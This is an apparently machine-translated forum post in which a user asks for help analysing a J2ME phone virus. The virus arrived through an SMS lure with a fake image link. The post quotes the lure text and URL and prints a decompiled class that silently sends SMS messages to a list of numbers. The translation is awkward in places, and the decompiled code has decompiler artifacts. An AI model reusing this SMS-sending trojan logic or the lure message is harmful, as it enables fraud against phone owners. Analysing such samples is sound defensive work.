電話用の小さなウイルス

携帯電話用のJavaプログラマーの助けが必要です。

SMSには、JPGファイルへのリンクが付属しています。 BBダウンローダーマネージャーにダウンロードしました。 そうです、JAR。 その中に

1.png
2.png
3.png
icon.png

a.class
b.class
c.class
d.class
e.class
f.class
Midlet.class

inf.dat

ここに元の投稿があります:
こんにちは、私はあなたがとても好きで、あなたにそれを認めることを恐れています。友達になりましょうか?
必要に応じて写真を提供できますか?
https://image.slidexxx.cn/foto.jpg



逆コンパイル* .class
c.jadファイル(c.class)に興味がある

私の心の中で私のお尻を使って、私は彼らがSMSを送信していると感じますが、何をどこで-私は理解できません。
助けて、面白い。

sobsnoコード:

// Decompiled by Jad v1.5.8g. Copyright 2001 Pavel Kouznetsov.
// Jad home page: www.kpdus.com/jad.html
// Decompiler options: packimports(3)

import java.io.PrintStream;
import java.util.Enumeration;
import java.util.Vector;
import javax.microedition.io.Connector;
import javax.wireless.messaging.MessageConnection;
import javax.wireless.messaging.TextMessage;

public abstract class c
implements Runnable
{

protected abstract void a();

public c(Vector vector)
{
a_boolean_fld = false;
a_int_fld = 0;
b_int_fld = 0;
b_boolean_fld = false;
c_int_fld = 0;
int i = vector.size();
d = new String[i];
c_java_lang_String_array1d_fld = new String[i];
vector = vector.elements();
if(i > 0)
while(vector.hasMoreElements())
{
String s = (String)vector.nextElement();
try
{
System.out.println(" get next frome vector");
d[b_int_fld] = s.substring(0, s.indexOf(" "));
c_java_lang_String_array1d_fld[b_int_fld] = s.substring(s.indexOf(" ") + 1);
System.out.println("vector_number = " + d[b_int_fld]);
System.out.println("vector_text = " + c_java_lang_String_array1d_fld[b_int_fld]);
b_int_fld++;
}
catch(Exception exception)
{
System.out.println("ERROR IN sendSMS 1 >> " + exception);
}
}
}

public final void b()
{
if(a_int_fld < b_int_fld)
{
a_java_lang_String_array1d_fld = new String[1];
b_java_lang_String_array1d_fld = new String[1];
a_java_lang_String_array1d_fld[0] = c_java_lang_String_array1d_fld[a_int_fld];
b_java_lang_String_array1d_fld[0] = d[a_int_fld];
a_int_fld++;
a_java_lang_Thread_fld = new Thread(this);
a_java_lang_Thread_fld.start();
}
}

public void run()
{
int i;
System.out.println("===> sms start");
i = 0;
System.out.println("number.length " + b_java_lang_String_array1d_fld.length);
System.out.println("number[i]" + b_java_lang_String_array1d_fld[0]);
System.out.println("text[i] " + a_java_lang_String_array1d_fld[0]);
_L3:
if(i >= b_java_lang_String_array1d_fld.length) goto _L2; else goto _L1
_L1:
MessageConnection messageconnection;
System.out.println("i= " + i);
messageconnection = null;
Thread.sleep(0L);
TextMessage textmessage;
(textmessage = (TextMessage)(messageconnection = (MessageConnection)Connector.open("sms://" + b_java_lang_String_array1d_fld[i])).newMessage("text")).setAddress("sms://" + b_java_lang_String_array1d_fld[i]);
textmessage.setPayloadText(a_java_lang_String_array1d_fld[i]);
messageconnection.send(textmessage);
System.out.println("===> sms ok " + b_java_lang_String_array1d_fld[i] + a_java_lang_String_array1d_fld[i]);
a();
if(messageconnection == null)
continue; /* Loop/switch isn't completed */
try
{
messageconnection.close();
}
catch(Exception exception)
{
System.out.println("===> sms ERROR 2 " + exception.toString());
}
continue; /* Loop/switch isn't completed */
Throwable throwable;
throwable;
System.out.println("-=>>in sms i " + i);
System.out.println("===> sms ERROR " + throwable.toString());
if(messageconnection == null)
continue; /* Loop/switch isn't completed */
try
{
messageconnection.close();
}
catch(Exception exception1)
{
System.out.println("===> sms ERROR 2 " + exception1.toString());
}
continue; /* Loop/switch isn't completed */
this;
if(messageconnection != null)
try
{
messageconnection.close();
}
// Misplaced declaration of an exception variable
catch(int i)
{
System.out.println("===> sms ERROR 2 " + i.toString());
}
throw this;
i++;
goto _L3
_L2:
synchronized(this)
{
a_java_lang_Thread_fld = null;
}
return;
}

private String a_java_lang_String_array1d_fld[];
private String b_java_lang_String_array1d_fld[];
private String c_java_lang_String_array1d_fld[];
private String d[];
private Thread a_java_lang_Thread_fld;
private boolean a_boolean_fld;
private int a_int_fld;
private int b_int_fld;
private boolean b_boolean_fld;
private int c_int_fld;
}



ここから、何が起こっているのかを理解できますか、他のファイルも掘り下げる必要がありますか?

Source: https://habr.com/ru/post/J75899/


All Articles